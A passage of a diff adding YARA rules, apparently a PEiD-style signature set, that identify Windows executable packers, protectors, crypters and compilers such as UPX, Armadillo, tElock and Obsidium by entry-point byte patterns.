+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v203_
+{
+	meta:
+		description = "PE Lock NT v2.03"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v40_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v4.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v303d_v305d_
+{
+	meta:
+		description = "PC-Guard v3.03d, v3.05d"
+	strings:
+		$0 = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _XJ__XPAL__LiNSoN_
+{
+	meta:
+		description = "XJ / XPAL -> LiNSoN"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_222223__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.22/2.23 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 2F 1E 00 00 A3 C4 35 40 00 E8 2B 1E 00 00 6A 0A 50 6A 00 FF 35 C4 35 40 00 E8 07 00 00 00 50 E8 1B 1E 00 00 CC 68 48 00 00 00 68 00 00 00 00 68 C8 35 40 00 E8 76 16 00 00 83 C4 0C 8B 44 24 04 A3 CC 35 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 EC 1D 00 00 A3 C8 35 40 00 E8 62 1D 00 00 E8 92 1A 00 00 E8 80 16 00 00 E8 13 14 00 00 68 01 00 00 00 68 08 36 40 00 68 00 00 00 00 8B 15 08 36 40 00 E8 71 3F 00 00 B8 00 00 10 00 BB 01 00 00 00 E8 82 3F 00 00 FF 35 48 31 40 00 B8 00 01 00 00 E8 0D 13 00 00 8D 0D EC 35 40 00 5A E8 F2 13 00 00 68 00 01 00 00 FF 35 EC 35 40 00 E8 84 1D 00 00 A3 F4 35 40 00 FF 35 48 31 40 00 FF 35 F4 35 40 00 FF 35 EC 35 40 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _IProtect_10_Fxlibdll_mode__by_FuXdas_
+{
+	meta:
+		description = "IProtect 1.0 (Fxlib.dll mode) - by FuXdas"
+	strings:
+		$0 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_V80_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ V8.0 (Debug)"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_DLL_hsmall_sig2_
+{
+	meta:
+		description = "MS Visual C++ v.8 DLL (h-small sig2)"
+	strings:
+		$0 = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v172__v173_
+{
+	meta:
+		description = "Armadillo v1.72 - v1.73"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _PEX_v099_
+{
+	meta:
+		description = "PEX v0.99"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+	condition:
+		$0 at entrypoint
+}
+rule _BlindSpot_10__s134k_
+{
+	meta:
+		description = "BlindSpot 1.0 -> s134k"
+	strings:
+		$0 = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_FSG_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_112__Randy_Li_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.12 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _D1S1G_v11_beta__D1N_
+{
+	meta:
+		description = "D1S1G v1.1 beta --> D1N"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+	condition:
+		$0
+}
+rule _Obsidium_1338__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRS__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRS] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Sexe_Crypter_11__by_santasdad_
+{
+	meta:
+		description = "Sexe Crypter 1.1 - by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXSCRAMBLER_306__OnToL_
+{
+	meta:
+		description = "UPX-SCRAMBLER 3.06 -> ©OnT®oL"
+	strings:
+		$0 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v02__v20x_
+{
+	meta:
+		description = "PEBundle v0.2 - v2.0x"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_101__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.1 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F1 26 40 00 8B BD 18 28 40 00 8B 8D 20 28 40 00 B8 38 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 1C 28 40 00 31 C0 51 31 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 1C 28 40 00 8B 85 24 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 38 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 14 28 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_30__StarForce_Technology_
+{
+	meta:
+		description = "StarForce 3.0 -> StarForce Technology"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? 63}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v119_
+{
+	meta:
+		description = "HACKSTOP v1.19"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b2_
+{
+	meta:
+		description = "Armadillo v2.60b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _JAM_v211_
+{
+	meta:
+		description = "JAM v2.11"
+	strings:
+		$0 = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1031__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.03.1 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v147__v150_
+{
+	meta:
+		description = "PECompact v1.47 - v1.50"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+	condition:
+		$0 at entrypoint
+}
+rule _CPAV_
+{
+	meta:
+		description = "CPAV"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A B1 01 93 01 00 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_PE_Encryptor_Alpha_preview_
+{
+	meta:
+		description = "PC PE Encryptor Alpha preview"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_V05__Smoke_
+{
+	meta:
+		description = "EXE Shield V0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_098_Special_Build__forgot__heXer_
+{
+	meta:
+		description = "tElock 0.98 Special Build -> forgot & heXer"
+	strings:
+		$0 = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_33_
+{
+	meta:
+		description = "Shrinker 3.3"
+	strings:
+		$0 = {00 00 55 8B EC 56 57 75 65 68 00 01 00 00 E8}
+	condition:
+		$0
+}
+rule _Ding_Boys_PElock_Phantasm_v10__v11_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.0 / v1.1"
+	strings:
+		$0 = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_3X5X__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.X-5.X -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v070_
+{
+	meta:
+		description = "tElock v0.70"
+	strings:
+		$0 = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+	condition:
+		$0 at entrypoint
+}
+rule _WinUpack_v030_beta__By_Dwing_
+{
+	meta:
+		description = "WinUpack v0.30 beta -> By Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+		$1 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+	condition:
+		$0 or $1
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+		$1 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+		$2 = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Launcher_Generator_v103_
+{
+	meta:
+		description = "Launcher Generator v1.03"
+	strings:
+		$0 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+	condition:
+		$0
+}
+rule _SDProtector_Pro_Edition_116__Randy_Li_
+{
+	meta:
+		description = "SDProtector Pro Edition 1.16 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+		$1 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vcasm_Protector_V1X__vcasm_
+{
+	meta:
+		description = "Vcasm Protector V1.X -> vcasm"
+	strings:
+		$0 = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _CExe_v10a_
+{
+	meta:
+		description = "CExe v1.0a"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+	condition:
+		$0 at entrypoint
+}
+rule _EYouDiDai_YueHeiFengGao_
+{
+	meta:
+		description = "E.You.Di.Dai-> YueHeiFengGao"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_290_LZMA__Markus_Oberhumer_Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v183_
+{
+	meta:
+		description = "Armadillo v1.83"
